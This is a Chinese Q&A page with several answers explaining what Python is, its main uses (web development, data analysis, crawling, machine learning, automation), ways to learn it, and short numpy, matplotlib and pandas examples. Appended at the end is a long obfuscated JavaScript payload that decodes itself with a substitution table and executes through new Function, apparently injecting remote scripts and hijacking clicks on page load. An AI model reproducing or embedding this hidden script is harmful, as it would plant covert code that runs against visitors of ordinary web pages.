推荐回答(4个)
Python是一种计算机程序设计语言。你可能已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合初学者的Basic语言,适合网页编程的JavaScript语言等等。
那Python是一种什么语言?
首先,我们普及一下编程语言的基础知识。用任何编程语言来开发程序,都是为了让计算机干活,比如下载一个MP3,编写一个文档等等,而计算机干活的CPU只认识机器指令,所以,尽管不同的编程语言差异极大,最后都得“翻译”成CPU可以执行的机器指令。而不同的编程语言,干同一个活,编写的代码量,差距也很大。
比如,完成同一个任务,C语言要写1000行代码,Java只需要写100行,而Python可能只要20行。
所以Python是一种相当高级的语言。
你也许会问,代码少还不好?代码少的代价是运行速度慢,C程序运行1秒钟,Java程序可能需要2秒,而Python程序可能就需要10秒。
那是不是越低级的程序越难学,越高级的程序越简单?表面上来说,是的,但是,在非常高的抽象计算中,高级的Python程序设计也是非常难学的,所以,高级程序语言不等于简单。
但是,对于初学者和完成普通任务,Python语言是非常简单易用的。连Google都在大规模使用Python,你就不用担心学了会没用。
用Python可以做什么?可以做日常任务,比如自动备份你的MP3;可以做网站,很多著名的网站包括YouTube就是Python写的;可以做网络游戏的后台,很多在线游戏的后台都是Python开发的。总之就是能干很多很多事啦。
Python当然也有不能干的事情,比如写操作系统,这个只能用C语言写;写手机应用,只能用Objective-C(针对iPhone)和Java(针对Android);写3D游戏,最好用C或C++。
如果你是小白用户,满足以下条件:
会使用电脑,但从来没写过程序;
还记得初中数学学的方程式和一点点代数知识;
想从编程小白变成专业的软件架构师;
每天能抽出一个半小时学习。可以看下面的代码

Python可以做什么?
Python的热度毋庸置疑,现在国内,不仅考国家二级计算机证需要学习Python,它甚至出现在了小学生的教材里。
那么高度如此高涨的Python,都可以用来做什么呢?
目前来说,Python有五大主要用途以及多类其他用途。
一、主要用途
1、Web开发
Python是一种解释型的脚本语言,用来开发Web应用,不但开发效率高,而且运行速度快。许多国内外的互联网公司将python作为主要开发语言:豆瓣、知乎、果壳网、Google、NASA、YouTube、Facebook……(再次感叹Python的强大)
除了大型的互联网公司,由于后台服务器的通用性,很多App和游戏也选择用 Python实现。
基于Python的Web框架有上百种,模板技术也比较成熟,其中常用的是Django、Flask、Tornado。
对于入门新手来说,Django和Flask可以说是首选,它们可以帮助你用Python编写服务器端代码(后端代码)。尤其是Flask,它要掌握的组件更少,能够实现简单、灵活和细致的控制,并能让你自己决定实现方式。
2、数据分析/可视化
Python拥有更加完备的生态环境,对于数据分析中会用到的分布式计算、数据库、可视化等,都有对应完成的模块。有一点要说,在你进行数据可视化时,可以选择Matplotlib,相对于其他的库来说更容易上手,当你掌握了它以后,也对你学习其他的库有所帮助。
Hadoop-MapReduce和Spark都可以用Python完成计算逻辑,这大概也是数据工程师、科学家钟爱Python的原因。
3、网络爬虫
说起Python的应用场景,最容易被提起来的就是网络爬虫。Google是最早用Python作为爬虫基础的公司,在此之前,人们如果想搜刮网上的内容,只能用采集器。
很多人在学了Python以后,都不知道干什么好,也无处施展,根本不了解自己对Python的掌握程度,这个时候,都可以试试爬虫。比如豆瓣的推荐电影列表、社区留言、音乐软件评论等,都可以用来做练习。
4、机器学习
说起人工智能,感觉前途无限好,周围很多人想参与进来,也让更多人对Python充满了学习的动力和期待。
人工智能需要更加精细的优化,也需要GPU、专用硬件之类的接口,因此人工智能的核心算法还是依赖于C/C++。那Python到底用来做什么呢?
Python是库的API binding,要开发一个其他语言到C/C++的跨语言接口,它是最容易的。
什么是机器学习呢?
我在网上看见过一个很容易理解的例子:
(以下为事例引用)
你将1000张狗的图片和1000张桌子的图片输入给机器学习算法,让它掌握狗和桌子间的区别。
那么当你给出新的图片让它识别是狗还是桌子时,它就能够进行判断。
这有点类似孩子学习新事物的方式。
孩子是如何学习认知狗或桌子的呢?就是通过大量的例子。
你不会明确告诉孩子:“如果某个毛茸茸的东西有浅棕色的毛发,那么就可能是狗。”
你会说,“这是狗,这也是狗。而这是桌子,那个也是桌子。“
机器学习的算法包括神经网络、深度学习、支持向量机及随机森林,基本道理和上述相似,应用场景很多:例如推荐系统、人脸识别及语音识别等。
对于机器学习库和Python框架,scikit-learn和TensorFlow算是两个比较热门的。
区别就在于:
scikit-learn带有一些内置的热门机器学习算法。(适合刚开始进行机器学习项目)
TensorFlow是一个低级库,能让你创建自定义机器学习算法。(适合解决效率问题)
5、自动化运维
Python写好的脚本语法简单,易于编写,而且进行测试也很快。
目前很多Linux发行版都很适合用Python脚本进行批量化的文件部署和运行调整。Python中也包含许多方便的工具,从调控ssh/sftp用的paramiko,到监控服务用的supervisor,再到bazel等构建工具,甚至conan等用于C++的包管理工具,都可以用Python实现。
二、其他应用(结合了自己的经验及网络应用)
嵌入式应用:Python可以与Rasberry Pi一起用,在硬件爱好者中很流行。
桌面应用:你可以用Python的Tkinter,但这并不是最热门的选择,Java,C#和C ++等语言似乎更受欢迎。
系统编程:提供API,能方便进行系统维护和管理,Linux下标志性语言之一,是很多系统管理员理想的编程工具。
数学处理:NumPy扩展提供大量与许多标准数学库的接口。
文本处理:Python提供的re模块能支持正则表达式,还提供SGML,XML分析模块,许多程序员利用Python进行XML程序的开发。
数据库编程:程序员可通过遵循PythonDB-API(数据库应用程序编程接口)规范的模块与MicrosoftSQLServer,Oracle,Sybase,DB2,MySQL、SQLite等数据库通信。Python自带有一个Gadfly模块,提供了一个完整的SQL环境。
网络编程:提供丰富的模块支持sockets编程,能方便快速地开发分布式应用程序。很多大规模软件开发计划例如Zope,Mnet及BitTorrent.Google都在广泛地使用它。
多媒体应用:Python的PyOpenGL模块封装了"OpenGL应用程序编程接口",能进行二维和三维图像处理。PyGame模块可用于编写游戏软件。
作者:Python-Jack
链接:https://www.zhihu.com/question/32048560/answer/649064776
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
Python是一门编程语言,入门python和入门其他的编程语言没有本质上的区别。
要零基础入门Python语言,可以采用如下三种方式:
1. 菜鸟教程
适合人群:自学能力较强的学生,有其他一门编程语言经验(无论水平多烂)者
学习方式:菜鸟教程是网络教学平台,通过浏览网页,一步步引导学生完成入门级别学习。课程内容和相关案例坚决遵从由简入深的学习逻辑,阅读门槛极低,虽然对于技术的高度提升极其有限,但是比任何参考书籍都更利于自学。
优点:随时随地学习,门槛低,案例多,不容易卡壳。
缺点:过分注重代码内容,对于初学者而言,对编程思想,尤其是面向对象的编程思想几乎没有讲解,对学生的真正提高帮助不大。
2. 在线视频:
适合人群:自控力较强的学生,有自己规划时间的生活习惯
学习方式:通过网易云课堂,bilibili站等平台收看教学视频,按部就班的跟随视频操作实践。视频中对学习的内容会有相应的讲解,比自己阅读书籍或教程,学习效果好很多。但是任何快放或跳跃的行为都会大大减弱视频学习效果。记住跳跃学习视频就是在飞速建造豆腐渣工程。
优点:既有讲解,又有实践,有操作的说明也有操作的演示。从入门到提升,各类视频资源网络上应有尽有,资源广阔,获取容易。免费或售卖,相对经济成本不高。
缺点:需要强大的自控力,自制力,旷课,拖延,和跳跃加速都会使学习付诸东流,切记,切记!
Python的学习需要一个系统的规划,当然也是需要一些基础的功底和一些时间的付出~
Python现在正逐渐成为越来越流行的语言。随着科学领域的发展,以及Python语法简单、免费、跨平台兼容、面向对象及强大的第三方库等优点,使得其在数据挖掘、量化建模和机器学习领域有着广泛的应用。因此不管是对编程老司机还是初学者来说,Python都是一门很友好的语言 。
matplotlib,numpy,scipy,pandas这四个库是学习Python一定会接触到的库,也是使用Python进行数据分析使用频率最高的四个库。在日常工作中可以满足我90%+的数据分析需求。只要是通用的数据处理分析操作,几乎都有封装好的函数对应,不需要我们自己造轮子,简直是提升工作效率的神器。
那如何系统学习这四个库呢?我的理解这里的学习分两个阶段,第一个阶段是对这几个库有一个初步的认识和基本操作的了解,知道每个库是做什么的,了解这些库提供了哪些通用的子操作,用这些操作可以完成哪些数据分析任务。这个阶段我建议大家学习顺序是numpy,scipy,matplotlib ,pandas。并且推荐大家使用Wes McKinney编写的《Python for Data Analysis》或者中文翻译版《利用Python进行数据分析》学习。利益无关,并不是广告,这本书也不需要广告。书的作者就是pandas库的作者,可以说是Python大神本神了。同时也可以当做工具书使用,在需要使用时随时翻阅参考。
第二个学习阶段是在对这些库有基本的了解和熟悉后,在实际工作中我们如何高效的使用这些库解决问题。首先我们需要想的是如何将问题拆解为一个个我们已经了解的子操作,然后将这些子操作连接起来解决问题。如果有些子操作我们第一阶段学习时并没有接触到,首先想想这个子问题别人数据分析时是否也会遇到,这一步是不是也可以是一个通用操作。大部分的时候是的,那这个操作第三方库中基本就会有一个对应的函数去解决这个问题。这个时候最好的学习方式是百度问题,找到对应的操作函数,并阅读这个函数的官方说明文档。官方文档对库中的每一个函数都有详细的输入输出说明及例子。这样逐渐积累每个库函数的使用经验,对每个库也会有更深刻的理解,成为一个进阶的Python使用者。如果对库中的函数有任何细节上疑问,比如遇到函数bug或者不清楚函数参数,都可以搜索该函数的官方文档。养成阅读官方文档的习惯是一个良好的Python学习方式。
下面我会对这四个库分别进行介绍,希望可以给大家一个初步的认识。
numpy是高性能科学计算和数据分析的基础库,它是几乎所有数据分析高级库(比如scipy,pandas)的构建基础。numpy定义了一个具有矢量算术运算的高效多维数组(ndarray),以及一系列对整组数据的标准数学函数。好处在于代码简洁且速度快,无需编写循环。例如:
import numpy as np#导入numpy库
arr = np.array([1,2,3,4,5,6])#定义ndarray
arr*6
Out[35]: array([ 6, 12, 18, 24, 30, 36])
arr+arr
Out[36]: array([ 2, 4, 6, 8, 10, 12])
arr.std()#求标准差
Out[37]: 1.707825127659933
scipy建立在numpy 库之上,是一款方便、易于使用、专为科学和工程设计的python工具包,它包括了统计、优化、整合以及线性代数模块、傅里叶变换、信号和图像图例,常微分方差的求解等。由于我的工作较少遇到这些需求,这里不多做介绍,如果你的工作中会使用到这些知识,scipy是一个很好的帮手。
Matplotlib是Python的画图基础库,很多其他的可视化第三方库以它为基础。Python使用者可以使用这个库轻松地完成线形图、柱状图等操作,像excel绘图一样设置标签、图例、调整绘图大小等。例如:
from numpy.random import randn
import matplotlib.pyplot as plt
plt.plot(randn(50).cumsum())
Pandas也是基于numpy构建,提供更快更简单更丰富功能的高级数据结构和操作工具库。几乎所有numpy和matplotlib可以做到的事情,pandas都有更友好的方式做到。pandas的有点在于提供了高效的数据对其和缺失数据处理功能,高效的时间序列功能,整合了常用的画图功能,以及高效的数据分组功能,这使得pandas可以方便的解决绝大部分的数据分析需求。像上面的numpy和matplotlib的例子,可以使用pandas一站式解决。
import pandas as pd
arr = pd.Series([1,2,3,4,5,6])
arr.std()
Out[6]: 1.8708286933869707
arr.plot()
时间宝贵,请用pandas, 人生苦短,请用Python。
以上。
一共两部分,9周课时,有中文字幕。从最基础的变量开始讲起,每周都会留一个编程作业,编写各种小游戏:猜拳、猜数字、虚拟乒乓球、21点...就算是完全不了解编程的新手也可以逐渐入门,直至最后做出一个飞行射击的游戏。而且这门课还提供了一个功能强大的模拟Python环境的编程网站CodeSkulptor,可以实现(和Python并非完全一样)很多基本的语法和函数,以及一个简单易用的simplegui图形界面包。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();